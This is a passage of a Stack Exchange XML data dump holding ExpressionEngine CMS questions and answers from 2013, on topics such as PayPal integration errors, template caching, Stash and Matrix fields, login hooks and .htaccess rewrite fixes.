/xxxx/system/expressionengine/third_party/store/ci-merchant/libraries/merchant/merchant_paypal_base.php on line 34&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried logging out/in and clearing all caches but to no avail. I was kind of expecting the passing of PayPal item details to be included with Store, so am a little disappointed that it requires some hacking around to pass this information across and it's a little beyond me. Any help much appreciated to either fix the error or get the item information to pass across to PayPal successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerDisplayName="user1991" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-09-04T00:26:57.757" Title="Fatal Error in EE Control Panel after updating Expresso Store PayPal Express code" Tags="|expresso-store|ee2|paypal-express-checkout|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13422" PostTypeId="1" CreationDate="2013-09-03T15:06:21.173" Score="2" ViewCount="104" Body="&lt;p&gt;I'm working on a wholesale site that means I have at least 15 unique add_to_cart forms on a product listing page. This slows the page down considerably as each form is dynamically generated. I've been experimenting with ce_cache and if I cache the whole listing the site is so much faster - the only thing I'm concerned about is what I'm sacrificing in terms of dynamic information, and any risks I might incur by caching these listings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The speed improvement is so significant that it would be great to be able to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the actual site is pretty straightforward - there are no inventory counts to look up, so it won't make any difference there. It seems to work for me, but I don't want to push it to production if I run the risk of anything happening to customer orders as a result of the caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any experience of this, or knows more about what impact this may or may not have I'd love to hear about it!&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-09-03T18:28:44.117" Title="Can I cache a exp:cartthrob:add_to_cart_form?" Tags="|cartthrob|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13423" PostTypeId="2" ParentId="9645" CreationDate="2013-09-03T15:10:42.627" Score="1" Body="&lt;p&gt;Before doing anything, make sure you are running the most recent version of EE. It's possible they have updated EE code in a newer version to deal with changes in how PDFs are created.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The issue sounds specific to the PDF so you'll have to have it in hand for testing. When you get it, disable XSS Filtering as a test. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Admin &gt; Security and Privacy &gt; Security and Session Preferences&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Set Apply XSS Filtering to uploaded files? to No and save&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If your upload works with this disabled, reenable it and then add this to your code to exempt specific member groups from the filtering:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['xss_clean_member_group_exception'] = &quot;1|6&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This could also be related to the size of the actual PDF and the amount of PHP resources the upload needs to complete. Try increasing the amount of &lt;a href=&quot;http://www.ducea.com/2008/02/14/increase-php-memory-limit/&quot; rel=&quot;nofollow&quot;&gt;memory allotted to PHP&lt;/a&gt; if the above doesn't solve the problem.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-09-03T15:16:03.187" LastActivityDate="2013-09-03T15:16:03.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13424" PostTypeId="1" AcceptedAnswerId="13547" CreationDate="2013-09-03T15:35:53.667" Score="1" ViewCount="410" Body="&lt;p&gt;Beneath each article (single entry page) I would like to show related articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have four slots. For each slot I need &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the article´s title =&gt; title field&lt;/li&gt;&#xA;&lt;li&gt;the permalink =&gt; url_title field&lt;/li&gt;&#xA;&lt;li&gt;the first image =&gt; Matrix field, contains only one row.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Editors choose the related articles manually via a relationships-field. If they choose less than 4 articles, the remaining slots will be filled automatically with articles from the same category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Stash to gather the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem: How do I get the image? Title and permalink are no problem, but in order to get to the image, I need to go one level &quot;deeper&quot; and loop through the Matrix field since my image is just a subfield of the Matrix field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code&#xA;the relationship field is named thematisch_passend (german for related)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {!--  ============================================ &#xA;    STORE A LIST OF RELATED ARTICLES INTO A LIST&#xA;     ================================================== --} &#xA;    {!-- first the manually chosen ones --}&#xA;&#xA;{exp:stash:set_list name=&quot;rels&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;   {exp:channel:entries channel=&quot;artikel&quot;}&#xA;      {thematisch_passend status=&quot;not closed&quot;}&#xA;        {stash:the-title}{thematisch_passend:title}{/stash:the-title}&#xA;        {stash:the-url-title-path}{thematisch_passend:url_title_path='artikel/index'}{/stash:the-url-title-path}&#xA;&#xA;            {exp:stash:set_list:nested name=&quot;related_entries context={entry_id}&quot; parse_tags=&quot;yes&quot;}            &#xA;            {intro_bild} &amp;lt;!-- name of the matrix-field --&amp;gt;&#xA;              {stash:the-image}{ib_file}{/stash:the-image} &amp;lt;!-- stashes the correct image URL --&amp;gt;&#xA;            {/intro_bild}&#xA;          {/exp:stash:set_list:nested}     &#xA;       {/thematisch_passend} &#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next I append the automatically chosen ones to the same list. I cut the code here, because the rest works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here´s what Debug shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stash: SET related_entries context=19 to value the-image|=|http://www.mysite.de/myimage.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means, that the-image has the correct value. But when Stash builds the final list, this value somehow got lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash build this list (the first ist manually and the second one automatically selected): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SET rels to value &#xA;the-title|=|Testartikel 1|&amp;amp;|the-url-title-path|=|http://www.mysite.de/artikel/testartikel1|&#xA;&#xA;+|the-title|=|Testartikel2|&amp;amp;|the-url-title-path|=|http://www.mysite.de/artikel/testartikel2|&amp;amp;|the-image|=|http://www.mysite.de/testartikel2_image.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 2nd block has an image, the first not. How can I tell stash to include &lt;code&gt;the-image&lt;/code&gt; in this list. Stash has already stored the correct URL.&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-09-06T15:08:03.513" Title="EE 2.6.1 Stash, Matrix and Relationships" Tags="|matrix|stash|relationships|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13426" PostTypeId="1" CreationDate="2013-09-03T16:05:49.720" Score="1" ViewCount="158" Body="&lt;p&gt;I'm trying to find what hook there is for immediately after the user logged in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking at sessions_start and sessions_end but I'm not sure how exactly they work and nothing seems to be working the way I want it to, the docs arent the clearest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="1994" LastActivityDate="2013-09-04T20:19:01.870" Title="What hook for immediately after user is logged in?" Tags="|hook|sessions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13427" PostTypeId="2" ParentId="13424" CreationDate="2013-09-03T16:11:34.277" Score="0" Body="&lt;p&gt;Does this work? The nested set_list has been removed because youve said matrix only contains one row.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;rels&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;   {exp:channel:entries channel=&quot;artikel&quot;}&#xA;      {thematisch_passend status=&quot;not closed&quot;}&#xA;        {stash:the-title}{thematisch_passend:title}{/stash:the-title}&#xA;        {stash:the-url-title-path}{thematisch_passend:url_title_path='artikel/index'}{/stash:the-url-title-path}&#xA;&#xA;            {intro_bild} &amp;lt;!-- name of the matrix-field --&amp;gt;&#xA;              {stash:the-image}{ib_file}{/stash:the-image} &amp;lt;!-- stashes the correct image URL --&amp;gt;&#xA;            {/intro_bild}&#xA;&#xA;       {/thematisch_passend} &#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If not, then...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are missing closing quote in name param and context field.      &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:set_list:nested name=&quot;related_entries context={entry_id}&quot; parse_tags=&quot;yes&quot;}            &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this set_list keeps getting replaced by each loop through the channel entries tag, so add a unique id to name field like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:set_list:nested name=&quot;related_entries_{entry_id}&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}                  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-09-03T16:11:34.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13428" PostTypeId="2" ParentId="13426" CreationDate="2013-09-03T16:18:18.383" Score="0" Body="&lt;p&gt;What is it you are trying to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may help. Download plugin &lt;a href=&quot;http://devot-ee.com/add-ons/ress&quot; rel=&quot;nofollow&quot;&gt;ress&lt;/a&gt; and look at source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: no, my mistake session_start is wrong hook. Sorry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another suggestion, point return params of all login pages to an empty template where you run a plugin to test for T&amp;amp;C = done. If so, redirect here. If not, redirect there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use group_ids to redirect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;template_group/my_login_redirect_template&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    {exp:my_login_plugin}&#xA;            {redirect='pages/terms_conditions'}&#xA;    {/exp:my_login_plugin}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{group_id}&quot; parse=&quot;inward&quot;}&#xA;&#xA;{case value=&quot;9&quot;}&#xA;    {redirect='pages/terms_conditions'}&#xA;{/case}&#xA;&#xA;{case value=&quot;6&quot;}&#xA;    {redirect='template_name/member'}&#xA;{/case}&#xA;&#xA;{case default=&quot;Yes&quot;}&#xA;    {redirect='template_name/welcome'}&#xA;{/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-09-04T20:19:01.870" LastActivityDate="2013-09-04T20:19:01.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13429" PostTypeId="1" CreationDate="2013-09-03T16:22:04.757" Score="1" ViewCount="133" Body="&lt;p&gt;Here's what I get when I try and update anything in admin...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1054&#xA;&#xA;Unknown column 'used' in 'where clause'&#xA;&#xA;UPDATE `exp_security_hashes` SET `used` = 1 WHERE `used` = 0 AND `hash` = '746210f63c79d55cea1189dff211bcd41e498ccd' AND `session_id` = '34720b679f2886c6fd3e45071c2f9a20482f4a53' AND `date` &amp;gt; 1378217984&#xA;&#xA;Filename: core/EE_Security.php&#xA;&#xA;Line Number: 169&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just tried upgrading from 2.6.1 to 2.7&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-09-03T16:22:04.757" Title="Updating Admin preferences and a 1054 Error" Tags="|error|upgrade|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13430" PostTypeId="2" ParentId="13405" CreationDate="2013-09-03T16:40:19.837" Score="4" Body="&lt;p&gt;It sounds like &lt;a href=&quot;http://devot-ee.com/add-ons/mx-lone-star&quot; rel=&quot;nofollow noreferrer&quot;&gt;MX Lone Star&lt;/a&gt; is what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MX Lone Star is small fieldtype which you can use to replace standard&#xA;  checkbox. But the real power of this fieldtypes is opened in&#xA;  Matrix-like fields - you can limited choosing in this fieldtype per&#xA;  row or/and per column.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It works with Matrix &lt;del&gt;, and according to &lt;a href=&quot;http://ellislab.com/blog/entry/2.7-grid-ready-addons&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt; it's also Grid compatible.&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see this similar question, &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1651/matrix-radio-buttons-how-to-make-radio-button-part-of-the-same-group&quot;&gt;&quot;Matrix &amp;amp; Radio Buttons - how to make radio button part of the same group?&quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-09-10T20:20:37.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13431" PostTypeId="1" CreationDate="2013-09-03T17:02:06.950" Score="1" ViewCount="92" Body="&lt;p&gt;No matter how I format my entry_date, it throws an error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:calendar switch=&amp;quot;calendarToday|calendarCell&amp;quot; channel=&amp;quot;workshop_events&amp;quot; show_future_entries=&amp;quot;yes&amp;quot; show_expired=&amp;quot;yes&amp;quot;}&#xA;{calendar_rows}&#xA;{if entries}&#xA;    {entries}&#xA;        {title}&amp;lt;br /&amp;gt;&#xA;        {entry_date format=&amp;quot;%g:%i%a&amp;quot;}&#xA;    {/entries}&#xA;{/if}&#xA;{/calendar_rows}&#xA;{/exp:channel:calendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;PHP error on the entry_date is as follows:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Undefined index: entry_date format=&amp;quot;%g:%i%a&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Filename: channel/mod.channel_calendar.php&lt;/p&gt;&#xA;&lt;p&gt;Line Number: 472&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;thanks for any advice.&lt;/p&gt;&#xA;" OwnerUserId="1962" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-10-04T15:51:35.183" Title="calendar and date formatting error" Tags="|ee2|calendar|date-format|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13432" PostTypeId="2" ParentId="13411" CreationDate="2013-09-03T17:11:55.130" Score="8" Body="&lt;p&gt;Ah, you want groups of three wrapped and not every third one, wrapped, right?  @mediagirl almost has it, but if your returned entries is not evenly divisible by three, you'll have a problem - the final switch will not take effect.  You therefore have to close the wrapper conditionally, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;  {my_matrix_field}&#xA;&#xA;      {switch=&quot;&amp;lt;div class='row'&amp;gt;||&quot;}&#xA;&#xA;      Your per matrix row data here&#xA;&#xA;      {if row_count != total_rows}{switch=&quot;||&amp;lt;/div&amp;gt;&quot;}{/if}{!-- closes row at switch interval IF last row IS NOT the current row --}&#xA;      {if row_count == total_rows}&amp;lt;/div&amp;gt;{/if}{!-- closes row IF last row IS current row --}  &#xA;&#xA;  {/my_matrix_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've done this many times, and it's a great, if not often thought of uses for the switch variable.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-03T17:11:55.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13433" PostTypeId="2" ParentId="13406" CreationDate="2013-09-03T18:01:15.430" Score="1" Body="&lt;p&gt;Something like this works with the &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;mo_variables&lt;/a&gt; extension which early parses for use in simple conditionals (I should extend &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;mo_variables&lt;/a&gt; to support a &lt;code&gt;{logged_in/out}&lt;/code&gt; var as well):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{logged_in_member_id}&quot; == FALSE}{redirect=&quot;member/login&quot;}{/if}&#xA;&#xA;{exp:channel:entries require_entry=&quot;yes&quot;}&#xA;    {addon_github}&#xA;        {exp:cl_github:repo_contents_archive &#xA;        owner=&quot;{owner}&quot; &#xA;        repo=&quot;{repo}&quot; &#xA;        ref=&quot;{ref}&quot;&#xA;        }&#xA;    {/addon_github}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastEditorUserId="565" LastEditDate="2013-09-03T18:06:48.813" LastActivityDate="2013-09-03T18:06:48.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13434" PostTypeId="1" AcceptedAnswerId="13444" CreationDate="2013-09-03T18:28:18.157" Score="1" ViewCount="129" Body="&lt;p&gt;Okay so I have looked at &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/291/how-to-create-a-complex-stockist-list-using-structure-and-or-categories&quot;&gt;How to create a complex stockist list using Structure and/or categories&lt;/a&gt; and have studied all of the comments carefully but I don't think any of those setups are going to work for me. Although I'm open to any ideas on how to implement those into what I'm doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay here's my scenario and setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Businesses Channel&lt;/li&gt;&#xA;&lt;li&gt;State and City Channels as sub-pages with Structure&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have a matrix field setup for each individual business with Playa fields pulling in the State and City.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a small set of Categories associated with each individual Business. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is to have a list of States on a Business page (I currently have this setup which pulls a list of each State in the &quot;State&quot; channel&quot;. that clicks through to the list of City's under each State.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured I would need a relationship (Playa) for each City, so EE knows which State each belongs too. I have this portion setup too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WHERE MY PROBLEM LIES&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how I am going to pull in (for example) &lt;em&gt;Bob's Towing company in Boulder, CO&lt;/em&gt; on the business page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think using Playa is the way to go, but I'm currently lost at the moment on how to bring it all together. I want to avoid having to setup more Structure pages under each and every City as this will quickly become quite the mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am open to virtually anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WHAT I'M GOING FOR&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Business Page &lt;/li&gt;&#xA;&lt;li&gt;Listings of States on Business Page&lt;/li&gt;&#xA;&lt;li&gt;Listings of Cities from the States page, making it easy for people to find what they are looking for&lt;/li&gt;&#xA;&lt;li&gt;Have a list of Categories clicked from the States page with individual businesses organized accordingly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am certain there's a better way of doing this and am looking to the EE gods for help on this. I am open to setting up a Channel for each State if need be, but again I'm looking for some better suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again for reading this and offering any advice on how I can bring all of this together!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-09-03T20:42:45.133" Title="Complex Category Setup // Looking for Best Practices" Tags="|matrix|playa|categories|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13435" PostTypeId="2" ParentId="13422" CreationDate="2013-09-03T18:28:44.117" Score="2" Body="&lt;p&gt;You should never cache things that are this dynamic. CodeIgniter adds an XID to forms which can cause validation errors if they're reused. What you could consider is dynamically loading them, sort of like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var items = $('.products .product');&#xA;&#xA;$.each(items, function(){&#xA;&#xA;    var url = $(this).attr('data-form-url');&#xA;&#xA;    $(this).find('form-wrapper').load(url);&#xA;&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-09-03T18:28:44.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13436" PostTypeId="2" ParentId="13417" CreationDate="2013-09-03T18:54:50.357" Score="2" Body="&lt;p&gt;The issue was with my a specific line of code in my upd.database_add.php file. The original line was &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'ACT' =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_action_id('Module_name', 'register'),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should be (and currently is corrected to)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'ACT' =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_action_id('Database_add', 'register'),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I forgot to put the name of my module as an argument in the fetch_action_id() function. It was searching for the action ID of a function called 'register', but it was trying to look in the wrong module 'Module_name', which doesn't even exist. No error message or anything.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2013-09-03T18:54:50.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13437" PostTypeId="2" ParentId="13426" CreationDate="2013-09-03T19:11:01.597" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_auth/index.html#member-member-login-start&quot; rel=&quot;nofollow&quot;&gt;member_member_login_start&lt;/a&gt; is what you're looking for&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-09-03T19:11:01.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13438" PostTypeId="2" ParentId="13373" CreationDate="2013-09-03T19:15:18.067" Score="2" Body="&lt;p&gt;Try following instructions on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&quot; rel=&quot;nofollow&quot;&gt;Blank Pages&lt;/a&gt; in EE docs and see if you get any errors reported.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-09-03T19:15:18.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13439" PostTypeId="1" AcceptedAnswerId="13441" CreationDate="2013-09-03T19:48:42.787" Score="2" ViewCount="3914" Body="&lt;p&gt;My site works fine locally and works fine at a dev installation. When loading it onto a network solutions hosting account, I get &quot;No input file specified.&quot; on every page but the home page. Both dev and staging are running php as a cgi script so not sure why the error there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to take a peek at &lt;a href=&quot;http://staging.imagenational.com&quot; rel=&quot;nofollow&quot;&gt;staging.imagenational.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2015-07-02T10:51:53.457" Title="No input file specified on staging server" Tags="|error|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13440" PostTypeId="1" AcceptedAnswerId="13453" CreationDate="2013-09-03T19:56:33.203" Score="1" ViewCount="202" Body="&lt;p&gt;Here is the situation. I have two channels; one is &quot;calendar_events&quot; and the other one is &quot;projects&quot; and there is a relationship field, &quot;event_related_project&quot; to relate that particular event to a specific project.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h4 class=&quot;project_tagline&quot;&amp;gt;{project_tagline}&amp;lt;/h4&amp;gt;&#xA;        {project_description}&#xA;            &amp;lt;section class=&quot;related-activities&quot;&amp;gt;&#xA;            &amp;lt;h3 class=&quot;related-title&quot;&amp;gt;Related Events&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;            {parents field=&quot;event_related_project&quot; orderby=&quot;date&quot; }&#xA;                {if parents:no_results}&#xA;                &amp;lt;p class=&quot;note-message&quot;&amp;gt;No related events are found.&amp;lt;/p&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='event/view'}/{parents:entry_id}/&quot;&amp;gt;{parents:title}&amp;lt;/a&amp;gt; / {event_start_date format=&quot;%F %d, %Y&quot;}&amp;lt;/li&amp;gt;&#xA;            {/parents}&#xA;            &amp;lt;/ul&amp;gt;&#xA;&#xA;            &amp;lt;h3 class=&quot;related-title-news&quot;&amp;gt;Related News&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;            {parents field=&quot;news_related_project&quot; orderby=&quot;date&quot; limit=&quot;3&quot;}&#xA;            {if parents:no_results}&#xA;            &amp;lt;p class=&quot;note-message&quot;&amp;gt;No related news are found.&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink='news/view'}&quot;&amp;gt;{parents:title} / {parents:entry_date format=&quot;%F %d, %Y&quot;}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/parents}  &#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It can display all the related events under a specific project but I cannot display the &quot;event_start_date&quot;. I also tried to make the list wrapped by the {exp:calendar:events} pair tag but the result does not show correctly. May someone help?&#xA;Thanks,&#xA;Chris&lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="1995" LastEditDate="2013-09-03T23:39:41.567" LastActivityDate="2013-09-04T00:57:12.040" Title="Solspace's Calendar and Relationships" Tags="|relationships|solspace|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13441" PostTypeId="2" ParentId="13439" CreationDate="2013-09-03T20:04:37.190" Score="10" Body="&lt;p&gt;Take a look at my comment on this post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11672/no-input-file-specified-htaccess/13376#13376&quot;&gt;&amp;quot;no input file specified&amp;quot; - .htaccess&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be the same issue: if so, you need to add a ? to the RewriteRule (to index.php) in your htaccess, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; RewriteRule ^(.*)$ /index.php/$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-09-03T20:04:37.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13442" PostTypeId="2" ParentId="13439" CreationDate="2013-09-03T20:05:09.363" Score="4" Body="&lt;p&gt;I have ran into the same issue on MediaTemple and have fixed it by modifying the .htaccess file. For me, my old base .htaccess references index.php and was missing a '?' after it. First place I would check is .htaccess and go from there.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-09-03T20:05:09.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
